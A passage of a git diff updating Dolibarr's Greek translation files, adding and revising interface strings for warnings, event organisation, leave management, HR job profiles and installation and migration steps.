+WarningUntilDirRemoved=Αυτή η προειδοποίηση ασφαλείας θα παραμείνει ενεργή όσο υπάρχει η ευπάθεια. WarningCloseAlways=Προειδοποίηση, το κλείσιμο πραγματοποιείται ακόμη και αν το ποσό διαφέρει μεταξύ των στοιχείων πηγής και προορισμού. Ενεργοποιήστε αυτήν τη δυνατότητα με προσοχή. WarningUsingThisBoxSlowDown=Προειδοποίηση, χρησιμοποιώντας αυτό το πλαίσιο επιβραδύνετε σοβαρά όλες τις σελίδες που εμφανίζουν το πλαίσιο. WarningClickToDialUserSetupNotComplete=Η ρύθμιση των πληροφοριών ClickToDial για τον χρήστη σας δεν έχει ολοκληρωθεί (δείτε την καρτέλα ClickToDial στην κάρτα χρήστη σας). @@ -313,6 +332,7 @@ WarningPaymentDateLowerThanInvoiceDate=Η ημερομηνία πληρωμής WarningTooManyDataPleaseUseMoreFilters=Πάρα πολλά δεδομένα (περισσότερες από %sγραμμές). Χρησιμοποιήστε περισσότερα φίλτρα ή ορίστε τη σταθερά %s σε υψηλότερο όριο. WarningSomeLinesWithNullHourlyRate=Κάποιοι χρόνοι καταγράφηκαν από ορισμένους χρήστες ενώ η ωριαία τιμή τους δεν είχε καθοριστεί. Χρησιμοποιήθηκε μια τιμή 0 %s ανά ώρα, αλλά αυτό μπορεί να οδηγήσει σε λανθασμένη εκτίμηση του χρόνου που δαπανήθηκε. WarningYourLoginWasModifiedPleaseLogin=Η σύνδεσή σας τροποποιήθηκε. Για λόγους ασφαλείας θα πρέπει να συνδεθείτε με τη νέα σας σύνδεση πριν από την επόμενη ενέργεια. +WarningYourPasswordWasModifiedPleaseLogin=Ο κωδικός πρόσβασης σας τροποποιήθηκε. Για λόγους ασφαλείας θα πρέπει να συνδεθείτε τώρα με τον νέο σας κωδικό πρόσβασης. WarningAnEntryAlreadyExistForTransKey=Υπάρχει ήδη μια καταχώριση για το κλειδί μετάφρασης για αυτήν τη γλώσσα WarningNumberOfRecipientIsRestrictedInMassAction=Προειδοποίηση, ο αριθμός διαφορετικών παραληπτών περιορίζεται σε %s όταν χρησιμοποιείτε τις μαζικές ενέργειες σε λίστες WarningDateOfLineMustBeInExpenseReportRange=Προειδοποίηση, η ημερομηνία γραμμής δεν είναι στο εύρος της αναφοράς εξόδων @@ -326,6 +346,9 @@ WarningAvailableOnlyForHTTPSServers=Διατίθεται μόνο εάν χρη WarningModuleXDisabledSoYouMayMissEventHere=Η ενότητα %s δεν έχει ενεργοποιηθεί. Έτσι, μπορεί να χάσετε πολλές λειτουργίες. WarningPaypalPaymentNotCompatibleWithStrict=Η τιμή "Αυστηρή" κάνει τις λειτουργίες ηλεκτρονικής πληρωμής να μην λειτουργούν σωστά. Χρησιμοποιήστε την τιμή 'Χαλαρή' . WarningThemeForcedTo=Προειδοποίηση, έχει γίνει επιβολή του θέματος %s από την κρυφή σταθερά MAIN_FORCETEME +WarningPagesWillBeDeleted=Προειδοποίηση, αυτό θα διαγράψει επίσης όλες τις υπάρχουσες σελίδες/container του ιστότοπου. Θα πρέπει να εξάγετε τον ιστότοπό σας νωρίτερα, ώστε να έχετε ένα αντίγραφο ασφαλείας για να μπορείτε να τον εισάγετε ξανά αργότερα αν χρειαστει. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=Η αυτόματη επικύρωση είναι απενεργοποιημένη όταν η επιλογή μείωσης του αποθέματος έχει οριστεί στην "Επικύρωση τιμολογίου". +WarningModuleNeedRefrech = Η ενότητα %s έχει απενεργοποιηθεί. Μην ξεχάσετε να την ενεργοποιήσετε # Validate RequireValidValue = Η τιμή δεν είναι έγκυρη diff --git a/htdocs/langs/el_GR/eventorganization.lang b/htdocs/langs/el_GR/eventorganization.lang index f7f93ac9c84..1788d3d80bf 100644 --- a/htdocs/langs/el_GR/eventorganization.lang +++ b/htdocs/langs/el_GR/eventorganization.lang @@ -54,6 +54,7 @@ EVENTORGANIZATION_FILTERATTENDEES_TYPE = Στη φόρμα για τη δημι # Object # EventOrganizationConfOrBooth= Συνέδριο ή Περίπτερο +EventOrganizationConfOrBoothes=Συνέδρια ή Περίπτερα ManageOrganizeEvent = Διαχειριστείτε την οργάνωση μιας εκδήλωσης ConferenceOrBooth = Συνέδριο ή Περίπτερο ConferenceOrBoothTab = Συνέδριο ή Περίπτερο @@ -114,15 +115,15 @@ EvntOrgRegistrationHelpMessage = Εδώ, μπορείτε να ψηφίσετε EvntOrgRegistrationConfHelpMessage = Εδώ, μπορείτε να προτείνετε ένα νέο συνέδριο για προώθηση κατά τη διάρκεια της εκδήλωσης. EvntOrgRegistrationBoothHelpMessage = Εδώ, μπορείτε να κάνετε αίτηση για να έχετε ένα περίπτερο κατά τη διάρκεια της εκδήλωσης. ListOfSuggestedConferences = Λίστα προτεινόμενων συνεδρίων -ListOfSuggestedBooths = Λίστα προτεινόμενων περιπτέρων -ListOfConferencesOrBooths=Λίστα συνεδρίων ή περιπτέρων του έργου εκδήλωσης +ListOfSuggestedBooths=Προτεινόμενα περίπτερα +ListOfConferencesOrBooths=Συνέδρια ή περίπτερα του έργου εκδήλωσης SuggestConference = Προτείνετε ένα νέο συνέδριο SuggestBooth = Προτείνετε ένα περίπτερο ViewAndVote = Δείτε και ψηφίστε για προτεινόμενες εκδηλώσεις PublicAttendeeSubscriptionGlobalPage = Δημόσιος σύνδεσμος για εγγραφή στην εκδήλωση PublicAttendeeSubscriptionPage = Δημόσιος σύνδεσμος για εγγραφή σε αυτήν την εκδήλωση μόνο  MissingOrBadSecureKey = Το κλειδί ασφαλείας δεν είναι έγκυρο ή λείπει -EvntOrgWelcomeMessage = Αυτή η φόρμα σάς επιτρέπει να εγγραφείτε ως νέος συμμετέχων στην εκδήλωση: %s +EvntOrgWelcomeMessage = Αυτή η φόρμα σάς επιτρέπει να εγγραφείτε ως νέος συμμετέχων στην εκδήλωση EvntOrgDuration = Αυτό το συνέδριο ξεκινά στις %s και τελειώνει στις %s. ConferenceAttendeeFee = Χρέωση συμμετεχόντων στο συνέδριο για την εκδήλωση : "%s" που διεξάγεται από %s έως %s. BoothLocationFee = Θέση περιπτέρου για την εκδήλωση : "%s" που διεξάγεται από %s έως %s @@ -132,7 +133,7 @@ LabelOfconference=Ταμπέλα συνεδρίου ConferenceIsNotConfirmed=Η εγγραφή δεν είναι διαθέσιμη, το συνέδριο δεν έχει επιβεβαιωθεί ακόμα DateMustBeBeforeThan=Το %s πρέπει να είναι πριν από το %s DateMustBeAfterThan=Το %s πρέπει να είναι μετά το %s - +MaxNbOfAttendeesReached=Ο μέγιστος αριθμός συμμετεχόντων έχει συμπληρωθεί NewSubscription=Εγγραφή OrganizationEventConfRequestWasReceived=Η πρότασή σας για μια διάσκεψη έχει ληφθεί OrganizationEventBoothRequestWasReceived=Το αίτημά σας για ένα περίπτερο έχει ληφθεί @@ -157,7 +158,7 @@ VoteOk = Η ψήφος σας έγινε αποδεκτή. AlreadyVoted = Έχετε ήδη ψηφίσει για αυτήν την εκδήλωση. VoteError = Παρουσιάστηκε σφάλμα κατά την ψηφοφορία, παρακαλώ δοκιμάστε ξανά. -SubscriptionOk = Η εγγραφή σας έχει επικυρωθεί +SubscriptionOk=Η εγγραφή σας έχει καταγραφεί ConfAttendeeSubscriptionConfirmation = Επιβεβαίωση της συνδρομής σας σε μια εκδήλωση Attendee = Συμμετέχων PaymentConferenceAttendee = Πληρωμή συμμετεχόντων στο συνέδριο @@ -165,8 +166,11 @@ PaymentBoothLocation = Πληρωμή θέσης περιπτέρου DeleteConferenceOrBoothAttendee=Κατάργηση συμμετέχοντος RegistrationAndPaymentWereAlreadyRecorder=Μια εγγραφή και μια πληρωμή έχουν ήδη καταγραφεί για το email %s EmailAttendee=Email του συμμετέχοντα +EmailCompany=Εταιρικό email EmailCompanyForInvoice=Διεύθυνση ηλεκτρονικού ταχυδρομείου εταιρείας (για τιμολόγιο, εάν διαφέρει από το email του συμμετέχοντα) ErrorSeveralCompaniesWithEmailContactUs=Έχουν βρεθεί πολλές εταιρείες με αυτό το email, επομένως δεν μπορούμε να επικυρώσουμε αυτόματα την εγγραφή σας. Παρακαλώ επικοινωνήστε μαζί μας στο %s ErrorSeveralCompaniesWithNameContactUs=Έχουν βρεθεί πολλές εταιρείες με αυτό το όνομα, επομένως δεν μπορούμε να επικυρώσουμε αυτόματα την εγγραφή σας. Παρακαλώ επικοινωνήστε μαζί μας στο %s NoPublicActionsAllowedForThisEvent=Καμία δημόσια δράση δεν είναι ανοιχτή στο κοινό για αυτήν την εκδήλωση MaxNbOfAttendees=Μέγιστος αριθμός συμμετεχόντων +DateStartEvent=Ημερομηνία έναρξης εκδήλωσης +DateEndEvent=Ημερομηνία λήξης εκδήλωσης diff --git a/htdocs/langs/el_GR/holiday.lang b/htdocs/langs/el_GR/holiday.lang index 63b8a5d3c3b..5369f65d7b8 100644 --- a/htdocs/langs/el_GR/holiday.lang +++ b/htdocs/langs/el_GR/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=HRM -Holidays=Αδεια +Holidays=Άδειες +Holiday=Άδεια CPTitreMenu=Αδεια MenuReportMonth=Μηνιαία αναφορά MenuAddCP=Νέα αίτηση άδειας +MenuCollectiveAddCP=Νέα αίτηση συλλογικής άδειας NotActiveModCP=Πρέπει να ενεργοποιήσετε την ενότητα Άδειες για να δείτε αυτήν τη σελίδα. AddCP=Κάντε αίτηση άδειας DateDebCP=Ημερ. έναρξης @@ -19,10 +21,10 @@ Leave=Αίτημα άδειας LeaveId=Αναγνωριστικό άδειας ReviewedByCP=Θα εγκριθεί από UserID=Αναγνωριστικό χρήστη -UserForApprovalID=Χρήστη για αναγνωριστικό έγκρισης -UserForApprovalFirstname=Όνομα του χρήστη της έγκρισης -UserForApprovalLastname=Επώνυμο του χρήστη της έγκρισης -UserForApprovalLogin=Σύνδεση χρήστη έγκρισης +UserForApprovalID=Αναγνωριστικό Χρήστη έγκρισης +UserForApprovalFirstname=Όνομα χρήστη έγκρισης +UserForApprovalLastname=Επώνυμο του χρήστη έγκρισης +UserForApprovalLogin=Όνομα σύνδεσης χρήστη έγκρισης DescCP=Περιγραφή SendRequestCP=Δημιουργία αιτήματος άδειας DelayToRequestCP=Τα αιτήματα αδείας πρέπει να υποβάλλονται τουλάχιστον %s ημέρα(ες) πριν από αυτές. @@ -56,6 +58,7 @@ ConfirmDeleteCP=Επιβεβαίωση διαγραφής αυτής της αί ErrorCantDeleteCP=Σφάλμα δεν έχετε το δικαίωμα να διαγράψετε αυτό το αίτημα άδειας. CantCreateCP=Δεν έχετε το δικαίωμα να κάνετε αιτήματα άδειας. InvalidValidatorCP=Πρέπει να επιλέξεις τον προϊστάμενο για την αίτηση άδειας σου. +InvalidValidator=Ο χρήστης που επιλέχθηκε δεν είναι υπεύθυνος έγκρισης. NoDateDebut=Πρέπει να επιλέξετε μια ημερομηνία έναρξης. NoDateFin=Πρέπει να επιλέξετε μια ημερομηνία λήξης. ErrorDureeCP=Η αίτηση άδειας δεν περιέχει εργάσιμες ημέρες @@ -73,12 +76,14 @@ DetailRefusCP=Λόγος για την απόρριψη DateRefusCP=Ημερομηνία απόρριψης DateCancelCP=Ημερομηνία ακύρωσης DefineEventUserCP=Αναθέστε μια έκτακτη άδεια για έναν χρήστη -addEventToUserCP=Αφήστε την ανάθεση +addEventToUserCP=Έγκριση άδειας NotTheAssignedApprover=Δεν είστε ο εκχωρημένος υπεύθυνος έγκρισης MotifCP=Λόγος UserCP=Χρήστης ErrorAddEventToUserCP=Παρουσιάστηκε σφάλμα κατά την προσθήκη τις έκτακτης άδειας. AddEventToUserOkCP=Η προσθήκη της έκτακτης άδειας έχει ολοκληρωθεί. +ErrorFieldRequiredUserOrGroup=Πρέπει να συμπληρωθεί το πεδίο "ομάδα" ή το πεδίο "χρήστης". +fusionGroupsUsers=Το πεδίο ομάδων και το πεδίο χρήστη θα συγχωνευθούν MenuLogCP=Εμφάνιση καταγραφής αλλαγών LogCP=Αρχείο καταγραφής όλων των ενημερώσεων που έγιναν στο "Υπόλοιπο άδειας" ActionByCP=Ενημερώθηκε από @@ -86,6 +91,13 @@ UserUpdateCP=Ενημερώθηκε για PrevSoldeCP=Προηγούμενο Υπόλοιπο NewSoldeCP=Νέο υπόλοιπο alreadyCPexist=Υπάρχει ήδη αίτηση άδειας για αυτήν τη περίοδο. +UseralreadyCPexist=Ένα αίτημα άδειας έχει ήδη γίνει σε αυτήν την περίοδο για το %s. +groups=Ομάδες +users=Χρήστες +AutoSendMail=Αυτόματη αποστολή αλληλογραφίας +NewHolidayForGroup=Νέο αίτημα συλλογικής άδειας +SendRequestCollectiveCP=Αποστολή αιτήματος συλλογικής άδειας +AutoValidationOnCreate=Αυτόματη επικύρωση FirstDayOfHoliday=Πρώτη μέρα άδειας LastDayOfHoliday=Τελευταία μέρα άδειας BoxTitleLastLeaveRequests=Τελευταία %sτροποποιημένα αιτήματα άδειας @@ -117,11 +129,11 @@ HolidaysToValidateBody=Παρακάτω είναι ένα αίτημα άδει HolidaysToValidateDelay=Αυτή η αίτηση άδειας θα πραγματοποιηθεί εντός περιόδου μικρότερης των %s ημερών. HolidaysToValidateAlertSolde=Ο χρήστης που έκανε αυτήν την αίτηση άδειας δεν έχει αρκετές διαθέσιμες ημέρες. HolidaysValidated=Επικυρωμένα αιτήματα άδειας -HolidaysValidatedBody=Η αίτηση αδείας %s στο %s έχει επικυρωθεί. +HolidaysValidatedBody=Το αίτημά σας για άδεια από %s έως %s έχει επικυρωθεί. HolidaysRefused=Το αίτημα απορρίφθηκε HolidaysRefusedBody=Το αίτημα άδειας για %s στο %s απορρίφθηκε για τον ακόλουθο λόγο: HolidaysCanceled=Ακυρωμένο αίτημα αδείας -HolidaysCanceledBody=Η αίτηση αδείας σας για %s στο %s έχει ακυρωθεί. +HolidaysCanceledBody=Το αίτημά σας για άδεια από %s έως %s ακυρώθηκε. FollowedByACounter=1: Αυτό το είδος άδειας πρέπει να ακολουθείται από μετρητή. Ο μετρητής αυξάνεται χειροκίνητα ή αυτόματα και όταν επικυρωθεί ένα αίτημα άδειας, ο μετρητής μειώνεται.
      0: Δεν ακολουθείται από μετρητή. NoLeaveWithCounterDefined=Δεν έχουν οριστεί τύποι άδειας που πρέπει να ακολουθούνται από μετρητή GoIntoDictionaryHolidayTypes=Πηγαίνετε στο Αρχικη - Ρυθμίσεις - Λεξικά - Τύπος άδειας για τη ρύθμιση των διαφορετικών τύπων αδειών. @@ -131,9 +143,16 @@ TemplatePDFHolidays=Πρότυπο PDF για αιτήματα άδειας FreeLegalTextOnHolidays=Ελεύθερο κείμενο σε pdf WatermarkOnDraftHolidayCards=Υδατογραφήματα σε προσχέδια αιτημάτων αδείας HolidaysToApprove=Διακοπές προς έγκριση -NobodyHasPermissionToValidateHolidays=Κανείς δεν έχει άδεια να επικυρώσει διακοπές -HolidayBalanceMonthlyUpdate=Μηνιαία ενημέρωση του υπολοιπου των εορτών +NobodyHasPermissionToValidateHolidays=Κανείς δεν έχει άδεια να επικυρώσει αιτήματα άδειας +HolidayBalanceMonthlyUpdate=Μηνιαία ενημέρωση υπολοίπου άδειας XIsAUsualNonWorkingDay=Η %s είναι συνήθως ΜΗ εργάσιμη ημέρα BlockHolidayIfNegative=Αποκλεισμός εάν το υπόλοιπο είναι αρνητικό LeaveRequestCreationBlockedBecauseBalanceIsNegative=Η δημιουργία αυτού του αιτήματος άδειας έχει αποκλειστεί επειδή το υπόλοιπό σας είναι αρνητικό ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Το αίτημα αδείας%s πρέπει να είναι προσχέδιο, ακυρωμένο ή απορριφθέν για να διαγράφει +IncreaseHolidays=Αύξηση του υπολοίπου άδειας +HolidayRecordsIncreased= Τα υπόλοιπα %s αδειών αυξήθηκαν +HolidayRecordIncreased=Το υπόλοιπο της άδειας αυξήθηκε +ConfirmMassIncreaseHoliday=Μαζική αύξηση των ημερών αδείας +NumberDayAddMass=Αριθμός ημέρας για προσθήκη στην επιλογή +ConfirmMassIncreaseHolidayQuestion=Είστε σίγουροι ότι θέλετε να αυξήσετε τις διακοπές των %s επιλεγμένων εγγραφών ; +HolidayQtyNotModified=Το υπόλοιπο των ημερών που απομένουν για το %s δεν έχει αλλάξει diff --git a/htdocs/langs/el_GR/hrm.lang b/htdocs/langs/el_GR/hrm.lang index e6eb6107843..ebe2aa29762 100644 --- a/htdocs/langs/el_GR/hrm.lang +++ b/htdocs/langs/el_GR/hrm.lang @@ -2,7 +2,7 @@ # Admin -HRM_EMAIL_EXTERNAL_SERVICE=E-mail για αποτροπή εξωτερικών υπηρεσιών στο HRM +HRM_EMAIL_EXTERNAL_SERVICE=Email για την αποτροπή εξωτερικής υπηρεσίας HRM Establishments=Επιχειρήσεις Establishment=Επιχείρηση NewEstablishment=Νέα επιχείρηση @@ -26,8 +26,8 @@ HRM_DEFAULT_SKILL_DESCRIPTION=Προεπιλεγμένη περιγραφή τω deplacement=Ωράριο DateEval=Ημερομηνία αξιολόγησης JobCard=Καρτέλα θέσεων εργασίας -JobPosition=Θέση εργασίας -JobsPosition=Θέσεις εργασίας +JobProfile=Περιγραφή εργασίας +JobsProfiles=Περιγραφές εργασιών NewSkill=Νέα Δεξιότητα SkillType=Τύπος δεξιότητας Skilldets=Λίστα βαθμών για αυτήν την δεξιότητα @@ -46,14 +46,14 @@ NewEval=Νέα αξιολόγηση ValidateEvaluation=Επικύρωση αξιολόγησης ConfirmValidateEvaluation=Είστε σίγουροι ότι θέλετε να επικυρώσετε αυτήν την αξιολόγηση με αναφορά %s ; EvaluationCard=Καρτέλα αξιολόγησης -RequiredRank=Απαιτούμενη κατάταξη για αυτή τη θέση εργασίας +RequiredRank=Required rank for the job profile EmployeeRank=Κατάταξη υπαλλήλου για αυτήν την δεξιότητα EmployeePosition=Θέση υπαλλήλου EmployeePositions=Θέσεις υπαλλήλων EmployeesInThisPosition=Υπάλληλοι σε αυτή τη θέση group1ToCompare=Ομάδα χρηστών για ανάλυση group2ToCompare=Δεύτερη ομάδα χρηστών για σύγκριση -OrJobToCompare=Σύγκριση βάση των απαραίτητων εργασιακών δεξιοτήτων +OrJobToCompare=Συγκρίνετε με τις απαιτήσεις δεξιοτήτων ενός προφίλ εργασίας difference=Διαφορά CompetenceAcquiredByOneOrMore=Ικανότητα που αποκτήθηκε από έναν ή περισσότερους χρήστες αλλά δεν ζητήθηκε από τον δεύτερο αξιολογητή MaxlevelGreaterThan=Μέγιστο επίπεδο μεγαλύτερο από το ζητούμενο @@ -86,7 +86,7 @@ SaveAddSkill = Προσθήκη δεξιότητας(ων) SaveLevelSkill = Το επίπεδο δεξιοτήτων αποθηκεύτηκε DeleteSkill = Η δεξιότητα αφαιρέθηκε SkillsExtraFields=Συμπληρωματικά χαρακτηριστικά (Δεξιότητες) -JobsExtraFields=Συμπληρωματικά χαρακτηριστικά (Υπάλληλοι) +JobsExtraFields=Συμπληρωματικά χαρακτηριστικά (Προφίλ θέσης εργασίας) EvaluationsExtraFields=Συμπληρωματικά χαρακτηριστικά (Αξιολογήσεις) NeedBusinessTravels=Ανάγκη επαγγελματικών ταξιδιών NoDescription=Χωρίς περιγραφή diff --git a/htdocs/langs/el_GR/install.lang b/htdocs/langs/el_GR/install.lang index 4e1ea55486c..031c711835a 100644 --- a/htdocs/langs/el_GR/install.lang +++ b/htdocs/langs/el_GR/install.lang @@ -28,6 +28,7 @@ ErrorPHPVersionTooLow=Η έκδοση PHP είναι πολύ παλιά. Απα ErrorPHPVersionTooHigh=Η έκδοση PHP είναι πολύ νέα. Απαιτείται η έκδοση %s ή παλαιοτερη ErrorConnectedButDatabaseNotFound=Η σύνδεση με τον διακομιστή ήταν επιτυχής, αλλά η βάση δεδομένων '%s' δεν βρέθηκε. ErrorDatabaseAlreadyExists=Η βάση δεδομένων '%s' υπάρχει ήδη. +ErrorNoMigrationFilesFoundForParameters=Δεν βρέθηκε αρχείο μετεγκατάστασης για τις επιλεγμένες εκδόσεις IfDatabaseNotExistsGoBackAndUncheckCreate=Εάν η βάση δεδομένων δεν υπάρχει, επιστρέψτε και ελέγξτε την επιλογή "Δημιουργία βάσης δεδομένων". IfDatabaseExistsGoBackAndCheckCreate=Εάν υπάρχει ήδη βάση δεδομένων, επιστρέψτε και καταργήστε την επιλογή "Δημιουργία βάσης δεδομένων". WarningBrowserTooOld=Η έκδοση του προγράμματος περιήγησης είναι πολύ παλιά. Η αναβάθμιση του προγράμματος περιήγησης σε μια πρόσφατη έκδοση των Firefox, Chrome ή Opera συνιστάται ιδιαίτερα. @@ -50,7 +51,6 @@ DatabaseName=Όνομα της βάσης δεδομένων DatabasePrefix=Πρόθεμα πίνακα βάσεων δεδομένων DatabasePrefixDescription=Πρόθεμα πίνακα βάσης δεδομένων. Εάν είναι κενό, η προεπιλογή είναι llx_. AdminLogin=Λογαριασμός χρήστη για τον κάτοχο της βάσης δεδομένων Dolibarr. -PasswordAgain=Πληκτρολογήστε ξανά την επιβεβαίωση κωδικού πρόσβασης AdminPassword=Κωδικός ιδιοκτήτη της βάσης δεδομένων Dolibarr. CreateDatabase=Δημιουργία βάσης δεδομένων CreateUser=Δημιουργήστε λογαριασμό χρήστη ή παραχωρήστε άδεια λογαριασμού χρήστη στη βάση δεδομένων Dolibarr @@ -63,7 +63,7 @@ SaveConfigurationFile=Αποθήκευση παραμέτρων σε ServerConnection=Σύνδεση με το διακομιστή DatabaseCreation=Δημιουργία βάσης δεδομένων CreateDatabaseObjects=Δημιουργία αντικειμένων βάσης δεδομένων -ReferenceDataLoading=Reference data loading +ReferenceDataLoading=Φόρτωση δεδομένων αναφοράς TablesAndPrimaryKeysCreation=Δημιουργία πινάκων και πρωτευόντων κλειδιών CreateTableAndPrimaryKey=Δημιουργία πίνακα %s CreateOtherKeysForTable=Δημιουργήστε ξένα κλειδιά και ευρετήρια για τον πίνακα %s @@ -88,12 +88,12 @@ LoginAlreadyExists=Υπάρχει ήδη DolibarrAdminLogin=Όνομα χρήστη διαχειριστή Dolibarr AdminLoginAlreadyExists=Ο λογαριασμός διαχειριστή Dolibarr " %s " υπάρχει ήδη. Επιστρέψτε αν θέλετε να δημιουργήσετε ένα άλλο. FailedToCreateAdminLogin=Αποτυχία δημιουργίας λογαριασμού διαχειριστή του Dolibarr. -WarningRemoveInstallDir=Προειδοποίηση, για λόγους ασφαλείας, μόλις ολοκληρωθεί η εγκατάσταση ή η αναβάθμιση, θα πρέπει να προσθέσετε ένα αρχείο που ονομάζεται install.lock στον κατάλογο εγγράφων του Dolibarr, προκειμένου να αποτραπεί ξανά η τυχαία/κακόβουλη χρήση των εργαλείων εγκατάστασης. +WarningRemoveInstallDir=Προειδοποίηση, για λόγους ασφαλείας, μόλις ολοκληρωθεί η διαδικασία εγκατάστασης, πρέπει να προσθέσετε ένα αρχείο που ονομάζεται install.lock στον κατάλογο Documents του Dolibarr προκειμένου να αποτραπεί η τυχαία/κακόβουλη χρήση των εργαλείων εγκατάστασης. FunctionNotAvailableInThisPHP=Δεν είναι διαθέσιμη σε αυτήν την PHP ChoosedMigrateScript=Επιλέξτε script μετεγκατάστασης DataMigration=Μετακίνηση βάσης δεδομένων (δεδομένα) DatabaseMigration=Μετακίνηση βάσης δεδομένων (δομή + μερικά δεδομένα) -ProcessMigrateScript=Script processing +ProcessMigrateScript=Η μετεγκατάσταση ειναι σε εξέλιξη ChooseYourSetupMode=Επιλέξτε τη λειτουργία ρύθμισης και κάντε κλικ στο "Έναρξη"... FreshInstall=Νέα εγκατάσταση FreshInstallDesc=Χρησιμοποιήστε αυτήν τη λειτουργία εάν αυτή είναι η πρώτη σας εγκατάσταση. Εάν όχι, αυτή η λειτουργία μπορεί να επιδιορθώσει μια ημιτελή προηγούμενη εγκατάσταση. Εάν θέλετε να αναβαθμίσετε την έκδοσή σας, επιλέξτε τη λειτουργία "Αναβάθμιση". @@ -107,7 +107,7 @@ AlreadyDone=Η μετεγκατάσταση έχει ολοκληρωθεί DatabaseVersion=Έκδοση βάσης δεδομένων ServerVersion=Έκδοση διακομιστή βάσης δεδομένων YouMustCreateItAndAllowServerToWrite=Πρέπει να δημιουργήσετε αυτόν τον κατάλογο και να επιτρέψετε στον διακομιστή web να εγγράψει σε αυτόν. -DBSortingCollation=Character sorting order +DBSortingCollation=Σειρά ταξινόμησης χαρακτήρων YouAskDatabaseCreationSoDolibarrNeedToConnect=Έχετε επιλέξει τη δημιουργία βάσης δεδομένων %s , αλλά για αυτό, το Dolibarr πρέπει να συνδεθεί με τον διακομιστή %s με δικαιώματα υπερχρήστη %s . YouAskLoginCreationSoDolibarrNeedToConnect=Επιλέξατε να δημιουργήσετε τον χρήστη βάσης δεδομένων %s , αλλά για αυτό, το Dolibarr πρέπει να συνδεθεί με τον διακομιστή %s με δικαιώματα υπερχρήστη%s . BecauseConnectionFailedParametersMayBeWrong=Η σύνδεση της βάσης δεδομένων απέτυχε: οι παράμετροι κεντρικού υπολογιστή ή υπερχρήστη πρέπει να είναι λανθασμένες. @@ -125,9 +125,9 @@ OpenBaseDir=Παράμετρος openbasedir PHP YouAskToCreateDatabaseSoRootRequired=Επιλέξατε το πλαίσιο "Δημιουργία βάσης δεδομένων". Για αυτό, πρέπει να δώσετε το όνομα χρήστη/κωδικό πρόσβασης του υπερχρήστη (κάτω μέρος της φόρμας). YouAskToCreateDatabaseUserSoRootRequired=Επιλέξατε το πλαίσιο "Δημιουργία κατόχου βάσης δεδομένων". Για αυτό, πρέπει να δώσετε το όνομα χρήστη/κωδικό πρόσβασης του υπερχρήστη (κάτω μέρος της φόρμας). NextStepMightLastALongTime=Το τρέχον βήμα μπορεί να διαρκέσει αρκετά λεπτά. Περιμένετε μέχρι να εμφανιστεί πλήρως η επόμενη οθόνη πριν συνεχίσετε. -MigrationCustomerOrderShipping=Μετεγκατάσταση της αποστολής για αποθήκευση παραγγελιών πωλήσεων -MigrationShippingDelivery=Upgrade storage of shipping -MigrationShippingDelivery2=Upgrade storage of shipping 2 +MigrationCustomerOrderShipping=Μεταφορά χώρου αποθήκευσης για αποστολή παραγγελιών πωλήσεων +MigrationShippingDelivery=Αναβάθμιση χώρου αποθήκευσης αποστολής +MigrationShippingDelivery2=Αναβάθμιση χώρου αποθήκευσης αποστολής 2 MigrationFinished=Η μετεγκατάσταση ολοκληρώθηκε LastStepDesc= Τελευταίο βήμα : Ορίστε εδώ το όνομα χρήστη και τον κωδικό πρόσβασης που θέλετε να χρησιμοποιήσετε για να συνδεθείτε στο Dolibarr. Μην το χάσετε, καθώς είναι ο κύριος λογαριασμός για τη διαχείριση όλων των άλλων/πρόσθετων λογαριασμών χρηστών. ActivateModule=Ενεργοποίηση ενότητας %s @@ -180,8 +180,8 @@ MigrationReopenedContractsNumber=%s συμβάσεις τροποποιήθηκ MigrationReopeningContractsNothingToUpdate=Δεν υπάρχει κλειστή σύμβαση για άνοιγμα MigrationBankTransfertsUpdate=Ενημέρωση συνδέσμων μεταξύ τραπεζικών εγγραφών και τραπεζικών μεταφορών MigrationBankTransfertsNothingToUpdate=Όλοι οι σύνδεσμοι είναι ενημερωμένοι -MigrationShipmentOrderMatching=Sendings receipt update -MigrationDeliveryOrderMatching=Delivery receipt update +MigrationShipmentOrderMatching=Ενημέρωση αποδείξεων αποστολής +MigrationDeliveryOrderMatching=Ενημέρωση απόδειξης παράδοσης MigrationDeliveryDetail=Ενημέρωση παράδοσης MigrationStockDetail=Ενημέρωση αξίας αποθεμάτων προϊόντων MigrationMenusDetail=Ενημέρωση πινάκων δυναμικών μενού @@ -195,20 +195,25 @@ MigrationCategorieAssociation=Μετακίνηση των κατηγοριών MigrationEvents=Μεταφορά συμβάντων για προσθήκη κατόχου συμβάντος στον πίνακα ανάθεσης MigrationEventsContact=Μετεγκατάσταση συμβάντων για προσθήκη επαφής συμβάντων στον πίνακα ανάθεσης MigrationRemiseEntity=Ενημερώστε την τιμή πεδίου οντότητας για llx_societe_remise -MigrationRemiseExceptEntity=Ενημέρωση φορέα τιμών πεδίου στον πίνακα llx_societe_remise_except +MigrationRemiseExceptEntity=Ενημερώστε την τιμή πεδίου οντότητας για llx_societe_remise_except MigrationUserRightsEntity=Ενημερώστε την τιμή πεδίου οντότητας των llx_user_rights MigrationUserGroupRightsEntity=Ενημερώστε την τιμή πεδίου οντότητας του llx_usergroup_rights -MigrationUserPhotoPath=Μετανάστευση φωτογραφικών διαδρομών για χρήστες -MigrationFieldsSocialNetworks=Μετεγκατάσταση χρηστών πεδίων κοινωνικών δικτύων (%s) +MigrationUserPhotoPath=Μετεγκατάσταση διαδρομών φωτογραφιών για χρήστες +MigrationFieldsSocialNetworks=Μετεγκατάσταση των πεδίων κοινωνικών δικτύων των χρηστών (%s) MigrationReloadModule=Επαναφόρτωση της ενότητας %s MigrationResetBlockedLog=Επαναφορά της ενότητας BlockedLog για τον αλγόριθμο v7 -MigrationImportOrExportProfiles=Μετεγκατάσταση προφίλ εισαγωγής ή εξαγωγής (%s) +MigrationImportOrExportProfiles=Μετεγκατάσταση των προφίλ εισαγωγής ή εξαγωγής (%s) ShowNotAvailableOptions=Εμφάνιση μη διαθέσιμων επιλογών HideNotAvailableOptions=Απόκρυψη μη διαθέσιμων επιλογών ErrorFoundDuringMigration=Αναφέρθηκαν σφάλματα κατά τη διαδικασία μετεγκατάστασης, επομένως το επόμενο βήμα δεν είναι διαθέσιμο. Για να αγνοήσετε τα σφάλματα, μπορείτε να κάντε κλικ εδώ , αλλά η εφαρμογή ή ορισμένες λειτουργίες ενδέχεται να μην λειτουργούν σωστά μέχρι να επιλυθούν τα σφάλματα. -YouTryInstallDisabledByDirLock=Η εφαρμογή προσπάθησε να αυτο-αναβαθμιστεί, αλλά οι 